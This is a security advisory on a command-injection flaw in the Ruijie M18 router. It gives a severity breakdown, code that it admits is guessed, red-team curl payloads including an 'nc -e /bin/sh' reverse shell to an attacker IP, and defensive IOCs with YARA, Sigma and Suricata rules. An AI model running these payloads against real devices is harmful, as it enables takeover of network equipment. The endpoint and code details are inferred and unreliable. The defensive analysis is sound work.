CVE-2025-56114

Executive Summary

CVE-2025-56114 is a critical OS Command Injection vulnerability discovered in the Ruijie M18 wireless router, specifically in firmware version EW_3.0(1)B11P226_M18_10223116. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, where the module_set function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device with root privileges. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential impact is severe due to the device's role in network infrastructure.

CVSS Breakdown & Threat Level

The CVSS vector is unknown, but based on the vulnerability description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attack is performed over the network via a POST request.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise allows access to all data.
• Integrity (I): High (H) – Arbitrary command execution can modify system files.
• Availability (A): High (H) – Commands can disrupt or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows remote, unauthenticated command injection, leading to full device takeover. This can be used as a pivot point for lateral movement within a network.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Ruijie M18 router's web management interface. The file /usr/local/lua/dev_config/config_retain.lua contains a function module_set that processes POST requests. This function likely takes a parameter (e.g., module_name or similar) and passes it unsanitized to a system command, such as os.execute() or io.popen(), in the Lua scripting environment.

Attack Flow:

1. An attacker sends a crafted POST request to the vulnerable endpoint (e.g., /cgi-bin/luci/;stok=/module_set).
2. The module_set function extracts the user-supplied parameter without validation.
3. The parameter is concatenated into a command string, e.g., os.execute("some_command " .. user_input).
4. The attacker injects command separators (e.g., ;, |, &&) followed by arbitrary commands.
5. The injected commands are executed with root privileges on the device.

Example Payload:

POST /cgi-bin/luci/;stok=/module_set HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

module_name=test;id

This would execute the id command on the router, returning the user ID (likely root).

Vulnerable vs. Patched Code

Vulnerable Code (config_retain.lua):

function module_set()
    local module_name = luci.http.formvalue("module_name")
    local cmd = "echo " .. module_name .. " > /tmp/module.txt"
    os.execute(cmd)
end

Patched Code (Hypothetical):

function module_set()
    local module_name = luci.http.formvalue("module_name")
    -- Validate input: only allow alphanumeric characters
    if not module_name:match("^[a-zA-Z0-9_]+$") then
        luci.http.status(400, "Bad Request")
        return
    end
    local cmd = "echo " .. module_name .. " > /tmp/module.txt"
    os.execute(cmd)
end

The patched version adds input validation to reject any non-alphanumeric characters, preventing command injection. Since no official patch is available, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Ruijie M18 router with firmware EW_3.0(1)B11P226_M18_10223116.
• Attacker: Kali Linux machine on the same network.
• Tools: curl, Burp Suite, Metasploit (if module available).

Exploitation Steps:

1. Identify the vulnerable endpoint by fuzzing the web interface.
2. Send a crafted POST request to trigger command injection:

   curl -X POST http://192.168.1.1/cgi-bin/luci/;stok=/module_set \
   -d "module_name=test;id"
   

3. Verify execution by checking the response or using a reverse shell:

   curl -X POST http://192.168.1.1/cgi-bin/luci/;stok=/module_set \
   -d "module_name=test;nc -e /bin/sh 192.168.1.100 4444"
   

4. On the attacker machine, listen for the reverse shell:

   nc -lvnp 4444
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/luci/;stok=/module_set for unusual parameters.
2. Look for command injection patterns in POST data (e.g., ;, |, &&, $()).
3. Check for outbound connections from the router to unknown IPs on common ports (e.g., 4444, 1337).
4. Review system logs for unexpected command execution (e.g., /var/log/messages).

Mitigation:

• If possible, disable the web management interface on the WAN side.
• Restrict access to the management interface to trusted IPs only.
• Apply network segmentation to isolate the router from critical assets.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/;stok=/module_set with suspicious parameters.
• Outbound connections from the router to unknown IPs on ports 4444, 1337, 31337.
• Unusual DNS queries from the router (e.g., to C2 domains).

Host IOCs:

• Unexpected processes running on the router (e.g., /bin/sh, nc, bash).
• Modified system files in /usr/local/lua/dev_config/.
• New files in /tmp/ (e.g., /tmp/module.txt).
• Unauthorized SSH keys in /etc/dropbear/.

Log IOCs:

• Entries in /var/log/messages showing command execution errors.
• Repeated failed login attempts to the web interface.

Detection Engineering

YARA Rule

rule CVE_2025_56114_Ruijie_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Ruijie M18 config_retain.lua"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56114"
    strings:
        $injection1 = /module_set.*[;&|`$()]/
        $injection2 = /module_name=.*[;&|`$()]/
        $lua_file = "config_retain.lua"
    condition:
        any of ($injection*) and $lua_file
}

Sigma Rule

title: Ruijie M18 Command Injection Attempt
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects HTTP POST requests with command injection patterns targeting Ruijie M18 routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/;stok=/module_set'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56114 Ruijie M18 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/;stok=/module_set";
    http_uri;
    pcre:"/module_name=[^&]*(?:[;&|`$()])/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If the router's web interface is accessible from the WAN, disable it immediately.
2. Restrict Access: Use firewall rules to allow management only from trusted IP addresses.
3. Monitor Logs: Enable and review system logs for signs of exploitation.

Long-Term Fix:

• Since no official patch is available, contact Ruijie support for a firmware update.
• Consider replacing the device with a patched alternative if no update is forthcoming.
• Implement a Web Application Firewall (WAF) to block command injection attempts.

Workaround:

• If the device cannot be replaced, manually edit the config_retain.lua file to add input validation (as shown in the patched code section). This requires SSH access to the router.

Valters IT
Securing Digital Frontiers